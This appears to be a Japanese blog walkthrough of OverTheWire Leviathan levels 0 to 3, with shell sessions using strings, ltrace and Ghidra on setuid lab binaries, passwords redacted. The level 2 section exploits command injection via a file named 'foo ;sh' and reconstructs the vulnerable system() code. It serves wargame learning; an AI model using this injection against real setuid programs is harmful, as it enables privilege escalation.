FEAT:🚩 OverTheWire 「Leviathan | Level 0 -> 3」
FEAT:🚩 OverTheWire 「Leviathan | Level 0 -> 3」
Level 0 -> 1
1
2
3
4
5
6
7
8
9
10
11
12
$ ssh -p 2223 leviathan0@leviathan.labs.overthewire.org
leviathan0@leviathan:~$ la
.backup .bash_logout .bashrc .profile
leviathan0@leviathan:~$ cd .backup/
leviathan0@leviathan:~/.backup$ la
bookmarks.html
leviathan0@leviathan:~/.backup$ cat bookmarks.html | grep leviathan
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is <confidential>" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
Level 1 -> 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ ssh -p 2223 leviathan0@leviathan.labs.overthewire.org
leviathan1@leviathan:~$ la
.bash_logout .bashrc check .profile
leviathan1@leviathan:~$ file check
check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5222b367f5b1ff23a8b2d18696bf508c8c8c0e82, for GNU/Linux 3.2.0, not stripped
leviathan1@leviathan:~$ checksec --file=check
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 44 Symbols No 0 1check
leviathan1@leviathan:~$ strings check
#...
printf
setreuid
strcmp
geteuid
libc.so.6
GLIBC_2.4
GLIBC_2.34
GLIBC_2.0
__gmon_start__
secr
love
password:
/bin/sh
Wrong password, Good Bye ...
;*2$"0
GCC: (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
#...
leviathan1@leviathan:~$ ./check
password: 123
Wrong password, Good Bye ...
strings コマンドの出力に strcmp があり,password: に入力した文字列を比較していると推測します. strings では比較対象の文字列を取得できなかったので,ltrace を用います.
このプログラムは,入力の先頭3文字を切り出して,文字列と比較していることがわかりました.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
leviathan1@leviathan:~$ ltrace ./check
__libc_start_main(0x80490ed, 1, 0xffffd474, 0 <unfinished ...>
printf("password: ") = 10
getchar(0, 0, 0x786573, 0x646f67password: test
) = 116
getchar(0, 116, 0x786573, 0x646f67) = 101
getchar(0, 0x6574, 0x786573, 0x646f67) = 115
strcmp("tes", "<confidential>") = 1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 0) +++
leviathan1@leviathan:~$ ./check
password: <confidential>
$ whoami
leviathan2
$ cat /etc/leviathan_pass/leviathan2
ltrace とは
実行ファイルが呼び出している ライブラリ関数 をトレースして表示するツールです. プログラムが実行中に呼び出す共有ライブラリ (主に libc など) の関数 (printf, strcmp, malloc, fopen など) を監視し,その 引数と戻り値 を 標準エラー出力(2) に表示します.
Level 2 -> 3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ ssh -p 2223 leviathan2@leviathan.labs.overthewire.org
leviathan2@leviathan:~$ ll
total 36
drwxr-xr-x 2 root root 4096 Apr 3 15:19 ./
drwxr-xr-x 150 root root 4096 Apr 3 15:20 ../
-rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 root root 3851 Apr 3 15:10 .bashrc
-r-sr-x--- 1 leviathan3 leviathan2 15076 Apr 3 15:19 printfile*
-rw-r--r-- 1 root root 807 Mar 31 2024 .profile
leviathan2@leviathan:~$ file printfile
printfile: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=efe166cf833ba66423e2645c81c3c30c1049439a, for GNU/Linux 3.2.0, not stripped
leviathan2@leviathan:~$ checksec --file=printfile
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 44 Symbols No 0 2printfile
leviathan2@leviathan:~$ strings printfile
tdX
/lib/ld-linux.so.2
_IO_stdin_used
snprintf
puts
__stack_chk_fail
system
__libc_start_main
access
setreuid
geteuid
libc.so.6
GLIBC_2.4
GLIBC_2.0
GLIBC_2.34
__gmon_start__
*** File Printer ***
Usage: %s filename
You cant have that file...
/bin/cat %s
;*2$"0
GCC: (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
#...
printfile <filename> というようにすれば,/bin/cat でそのファイルの内容を出力してくれるプログラムのようです.直接,/etc/leviathan_pass/leviathan3 を読み出すことはできなかったため,ltrace で調べます.ghidraで解析するため,scpでローカルにバイナリを飛ばしておきます.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ scp -P 2223 leviathan2@leviathan.labs.overthewire.org:/home/leviathan2/printfile ./
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...
leviathan2@leviathan:~$ ltrace ./printfile .bash_logout
__libc_start_main(0x80490ed, 2, 0xffffd464, 0 <unfinished ...>
access(".bash_logout", 4) = 0
snprintf("/bin/cat .bash_logout", 511, "/bin/cat %s", ".bash_logout") = 21
geteuid() = 12002
geteuid() = 12002
setreuid(12002, 12002) = 0
system("/bin/cat .bash_logout"# ~/.bash_logout: executed by bash(1) when login shell exits.
# when leaving the console clear the screen to increase privacy
if [ "$SHLVL" = 1 ]; then
[ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
Ghidraでのデコンパイル結果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
undefined4 main(int param_1,undefined4 *param_2)
{
undefined4 *puVar1;
undefined4 uVar2;
int iVar3;
__uid_t __euid;
__uid_t __ruid;
int in_GS_OFFSET;
char local_214 [512];
int local_14;
undefined4 *local_10;
puVar1 = param_2;
local_10 = ¶m_1;
local_14 = *(int *)(in_GS_OFFSET + 0x14);
if (param_1 < 2) {
puts("*** File Printer ***");
printf("Usage: %s filename\n",*puVar1);
uVar2 = 0xffffffff;
}
else {
iVar3 = access((char *)param_2[1],4);
if (iVar3 == 0) {
snprintf(local_214,0x1ff,"/bin/cat %s",puVar1[1]);
__euid = geteuid();
__ruid = geteuid();
setreuid(__ruid,__euid);
system(local_214);
uVar2 = 0;
}
else {
puts("You cant have that file...");
uVar2 = 1;
}
}
if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar2;
}
snprintf(command, sizeof(command), "/bin/cat %s", argv[1]); の部分で,argv[1] を読み込んでいます.もし,引数にコマンドを入力すれば,SUID が設定されているこのバイナリでは,所有者である leviathan3 ユーザで処理が実行される OS Command Injection が発生します.
デコンパイル結果から復元したmain()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
// argc: 引数の数 (argument count), argv: 引数の内容の文字列配列 (argument vector)
int main(int argc, char *argv[]) {
char command[512];
uid_t euid;
uid_t ruid;
// 引数が足りない場合 (プログラム名のみ,または引数なし)
if (argc < 2) {
puts(" File Printer ");
printf("Usage: %s filename\n", argv[0]);
return -1; // int型では -1
}
// 指定されたファイルへの読み込み権限 (R_OK = 4) があるかチェック
if (access(argv[1], R_OK) == 0) {
// 実行するコマンド文字列を作成: /bin/cat <ファイル名
snprintf(command, sizeof(command), "/bin/cat %s", argv[1]);
// 権限の取得と設定
euid = geteuid();
ruid = geteuid();
setreuid(ruid, euid);
// コマンドを実行
system(command);
return 0;
}
else {
// 読み込み権限がない,またはファイルが存在しない場合
puts("You cant have that file...");
return 1;
}
}
そこで,ファイル名に空白を含むファイル (foo ;sh) を作成します.
access()のチェック時:- 引数として
foo ;shという1つの文字列が渡されます. - ファイルが実在するので,チェックを無事通過します.
- 引数として
system()での実行時:snprintfによって,以下のコマンド文字列が作られます./bin/cat foo ;sh- これがシェルに渡されると,シェルはスペースとセミコロンでコマンドを分解します.
- コマンド1:
/bin/cat foo(ファイルfooは存在しないのでエラーになりますが,プログラムは止まりません) - コマンド2:
sh
- コマンド1:
1
2
3
4
5
6
7
8
9
10
11
12
leviathan2@leviathan:~$ mktemp -d
/tmp/tmp.TbuSzV02iO
leviathan2@leviathan:/tmp/tmp.TbuSzV02iO$ touch "foo ;sh"
leviathan2@leviathan:/tmp/tmp.TbuSzV02iO$ ~/printfile foo\ \;sh
/bin/cat: foo: Permission denied
$ whoami
leviathan3
$ cat /etc/leviathan_pass/leviathan3
Level 3 -> 4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ssh -p 2223 leviathan2@leviathan.labs.overthewire.org
leviathan3@leviathan:~$ ll
total 40
drwxr-xr-x 2 root root 4096 Apr 3 15:19 ./
drwxr-xr-x 150 root root 4096 Apr 3 15:20 ../
-rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 root root 3851 Apr 3 15:10 .bashrc
-r-sr-x--- 1 leviathan4 leviathan3 18100 Apr 3 15:19 level3*
-rw-r--r-- 1 root root 807 Mar 31 2024 .profile
leviathan3@leviathan:~$ file level3
level3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=42cd25dff7ae31fed05c86fa42e09963e8086dc8, for GNU/Linux 3.2.0, with debug_info, not stripped
leviathan3@leviathan:~$ checksec --file=level3
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 47 Symbols No 0 2level3
入力した文字列が一致していればシェルが返るようです.
1
2
3
4
5
6
7
8
9
10
leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(0x80490ed, 1, 0xffffd474, 0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password>
"\n", 256, 0xf7fab5c0) = 0xffffd24c
strcmp("\n", "<confidential>\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++
1
2
3
4
5
6
7
8
leviathan3@leviathan:~$ ./level3
Enter the password> <confidential>
[You've got shell]!
$ whoami
leviathan4
$ cat /etc/leviathan_pass/leviathan4
This post is licensed under CC BY 4.0 by the author.